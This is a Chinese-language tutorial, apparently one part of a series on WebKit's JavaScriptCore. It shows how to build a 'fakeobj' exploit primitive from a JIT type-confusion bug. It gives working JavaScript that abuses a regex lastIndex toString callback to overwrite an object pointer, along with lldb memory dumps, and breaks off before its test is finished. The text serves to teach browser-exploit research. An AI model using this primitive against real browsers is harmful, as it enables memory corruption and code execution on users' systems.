在本文中,我们将为读者介绍fakeobj()原语。该原语基于addrof()中使用的一个漏洞,攻击者可以通过它来破坏内部JavaScriptCore对象的内存空间。
简介
在前一篇文章中,我们介绍了如何泄露javascript对象的地址;在本文中,我们将考察是否能破坏相关的内存空间。在继续阅读介绍之前,您必须了解一下JavaScript对象在内存中的布局情况(如内部属性和butterfly结构等),因为在这篇文章中,我们将使用这些知识将内存泄漏问题转化为内存破坏问题。
读者可能好奇我们是如何实现这个转化过程的,老实说,这可比简单的缓冲区溢出的利用要复杂得多,因为这里无法直接控制指令指针。虽然我们这里的漏洞的可利用性较差,但是,经过一番适当地折腾,就能发挥出其强大的威力了。
“fakeobj”原语
在saelo的相关文章中,他总共谈到了两个原语:addrof和fakeobj。在前面的文章中,我们已经见识了如何利用addrof原语来泄漏内存中对象的地址,现在让我们来看看fakeobj的威力如何。
fakeobj原语的工作机理实际上与addrof原语正好相反。这里,我们将本机双精度浮点数注入JSValues数组,以允许我们创建JSObject指针。
请记住,这篇文章中,JSValues是以下面的格式来存储的32位整数的:其最高字节为FFFF,具体如下所示。
Pointer { 0000:PPPP:PPPP:PPPP
/ 0001:****:****:****
Double { ...
\ FFFE:****:****:****
Integer { FFFF:0000:IIII:IIII
这正是我们在内存中看到的存储方式,但是,当我们将一个JavaScript对象添加到数组中时,实际存储的是一个指针,即该对象的地址。所以,既然addrof原语的思路是将指向一个对象的指针作为双精度浮点型数据读取的话,那么,我们能否反过来,即将双精度浮点型数据解释为指向一个对象的指针呢?这正是我们现在要做的。
让我们复制addrof代码并进行相应的改造。
//
// fakeobj primitive
// Numbers in the comments represent the points listed below the code.
function fakeobj(dbl) { // (1) & (2)
var array = [13.37];
var reg = /abc/y;
// Target function
var AddrSetter = function(array) { // (4)
"abc".match(reg);
array[0] = dbl; // (3)
}
// Force optimization
for (var i = 0; i < 100000; ++i)
AddrSetter(array);
// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
// Do it!
AddrSetter(array);
return array[0]; // (5)
}
这里所做的修改包括:
- 将函数名称从addrof改为fakeobj。
- 将参数名称从val更改为dbl,表示双精度浮点型(double)。
- 这里不是按照对待双精度浮点数型的方式来读取并返回数组的第一个值,相反,这里执行的操作是写入。
- 将函数的名称从AddrGetter改为AddrSetter。
- 这里只返回数组的第一个元素,而不是返回AddrGetter的运行结果。
这一切都是从一个存放双精度浮点型数据的数组开始的,而我们的JIT代码负责将指定的双精度浮点型数据写入一个普通数组的第一个元素中。然后,我们使用toString函数准备好漏洞,并再次调用AddrSetter函数。这将执行RegEx,它会调用toString,并将对象分配给该数组的第一个元素。现在,JavaScript引擎会将存放双精度浮点数的数组转换为一个占有连续内存空间的数组,并将指向该新对象的指针放入其中。但是在JIT型的代码眼里,仍然将其视为一个存放双精度浮点数的数组,这会将我们指定的双精度浮点数写入第一个元素,从而覆盖原来指针。现在,既然覆盖对象地址的这个双精度浮点数看起来像一个指针,那么JavaScript会认为数组的第一个元素指向了一个对象。话不多说,让我们动手试试吧。
伪造对象
让我们尝试伪造一个对象,但首先,让我们运行jsc,并附加到lldb上面,然后,以交互模式运行我们的JavaScript文件。
$ lldb ./jsc
(lldb) run -i ~/projects/webkit/test.js
Process 64142 launched: './jsc (x86_64)
>>>
为简单起见,这里将创建一个只有单个属性x的对象,实际上,这个属性就是一个简单的整数。
>>> test = {}
[object Object]
>>> test.x = 1
1
>>> describe(test)
Object: 0x62d0000d4080 with butterfly 0x0 (Structure 0x62d000188310: [...])
# Hit CTRL + C
(lldb) x/4gx 0x62d0000d4080
0x62d0000d4080: 0x0100160000000126 0x0000000000000000
0x62d0000d4090: 0xffff000000000001 0x0000000000000000
通过观察这个对象,我们发现0x0100160000000126具有一些标志和结构ID,它们一起组成了JSCell头部。之后,是一个由null(0x0)值组成的butterfly结构,后跟内联属性x,我们将其设置为32位整数,其值为1。现在,请记住这些特点,接下来就要开始动手伪造这样的对象了。
这个漏洞利用方法中的亮点之一是,在伪造对象时,我们可以利用这样一个事实——对象的前几个属性是内联属性,并且不会放入butterfly结构中。现在,让我们先看看这个对象在内存中的布局情况。在这里,尤其需要注意属性1、2、3:
>>> fake = {}
[object Object]
>>> fake.a = 1
1
>>> fake.b = 2
2
>>> fake.c = 3
3
>>> describe(fake)
Object: 0x62d0000d40c0 with butterfly 0x0 ...
# Hit CTRL + C
(lldb) x/6gx 0x62d0000d40c0
0x62d0000d40c0: 0x0100160000000129 0x0000000000000000
0x62d0000d40d0: 0xffff000000000001 0xffff000000000002
0x62d0000d40e0: 0xffff000000000003 0x0000000000000000
接下来,我们开始对这个原语进行测试。为此,我们可以使用addrof来获取其地址,然后,针对这个地址使用fakeobj原语。这意味着hax对象现在应该与fake对象是一模一样的。
javascript